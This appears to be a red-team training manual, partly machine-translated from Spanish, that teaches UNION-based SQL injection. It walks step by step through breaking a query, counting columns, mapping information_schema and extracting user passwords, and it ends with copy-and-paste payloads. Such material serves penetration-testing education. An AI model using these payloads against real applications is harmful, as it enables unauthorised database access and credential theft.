MASTER REVIEW MANUAL: PHASE 1 - CLASSIC INJECTION (UNION)
Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: Total data exfiltration in applications that display results on screen.
Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: Total data exfiltration in applications that display results on screen.
1. INTELLIGENCE: HOW DOES IT WORK?
Sección titulada «1. INTELIGENCIA: ¿CÓMO FUNCIONA?»The web server takes what we write and blindly pastes it into a SQL query. Our goal is to use the UNION operator to paste our own results table below the legitimate table.
Metaphor: We are in a store. The clerk (server) looks for products in the warehouse. We tell him: “Find me nails… AND ALSO (UNION) bring me the boss's safe”.
The “Quote Dance” (String vs Integer)
Sección titulada «El “Baile de Comillas” (String vs Integer)»A common mistake is not knowing whether to use quotes or not.
- String (Text): The code is
WHERE nombre = '$input'.- Our Attack: We need
'at the beginning to close the code's quote. - Payload:
' UNION SELECT...
- Our Attack: We need
- Integer (Numbers): The code is
WHERE id = $input.- Our Attack: We do NOT need a starting quote.
- Payload:
UNION SELECT...
2. EXECUTION PROTOCOL (STEP BY STEP)
Sección titulada «2. PROTOCOLO DE EJECUCIÓN (PASO A PASO)»STEP A: Breaking (The Break)
Sección titulada «PASO A: Romper (The Break)»- Action: We will inject
'or special characters. - Success Signal: A visible SQL error or a blank page.
- Lesson Learned: If we enter
id=45-1and see profile 44, we confirm numeric injection without breaking the page.
STEP B: Measuring (Order By)
Sección titulada «PASO B: Medir (Order By)»- Action:
ORDER BY 1,ORDER BY 2… until it fails. - Common Error: Attempting to guess. We will NOT guess. We will measure.
- Objective: The
UNIONrequires that both queries have the same number of columns. If the original has 5 and we provide 4, it fails.
STEP C: Union (The Union)
Sección titulada «PASO C: Unir (The Union)»- Action:
UNION SELECT 1, 2, 3, 4, 5 -- - - Cleanup Tactic: Often the web only shows the first result.
- Solution: We will place a fake ID (
id=-1) at the beginning. - Result: The original query returns empty. Our injection becomes row #1 and becomes visible.
- Solution: We will place a fake ID (
STEP D: Map and Extract (The Loot)
Sección titulada «PASO D: Mapear y Extraer (The Loot)»We will not attempt to steal passwords blindly. We will follow the map.
- Search Tables:
FROM information_schema.tablesWHERE table_schema = database()- Common Error: Forgetting the
WHERE. Without it, we see irrelevant system tables.
- Search Columns:
FROM information_schema.columnsWHERE table_name = 'users'- Common Error: Using
AND WHERE. TheWHEREis only entered once.
- Extract Data:
FROM usersCONCAT(user, ':', password)
3. SIMULATION ERRORS (YOUR MISTAKES AND CORRECTIONS)
Sección titulada «3. ERRORES DE SIMULACIÓN (TUS FALLOS Y CORRECCIONES)»During training, we made these mistakes. We will remember them so we don't repeat them.
- Error:
UNION SHOW TABLES- Correction:
UNIONonly joinsSELECTwithSELECT. We cannot join administrative commands.
- Correction:
- Error: Loose parentheses
...CONCAT(...))- Correction: We will always count our parentheses. If we open one, we will close it.
- Error:
LIMIT 1, 1(Confused syntax)- Correction:
LIMIT 1 OFFSET 1is clearer. “Give me 1, skipping 1”.
- Correction:
4. GOLD PAYLOADS (COPY AND PASTE)
Sección titulada «4. PAYLOADS DE ORO (COPIAR Y PEGAR)»Identify Columns:' ORDER BY 100 -- -
Extract User and DB:-1 UNION SELECT 1, CONCAT(user(), ':', database()), 3, 4 -- -
List Tables (One by one):-1 UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database() LIMIT 1 OFFSET 0 -- -

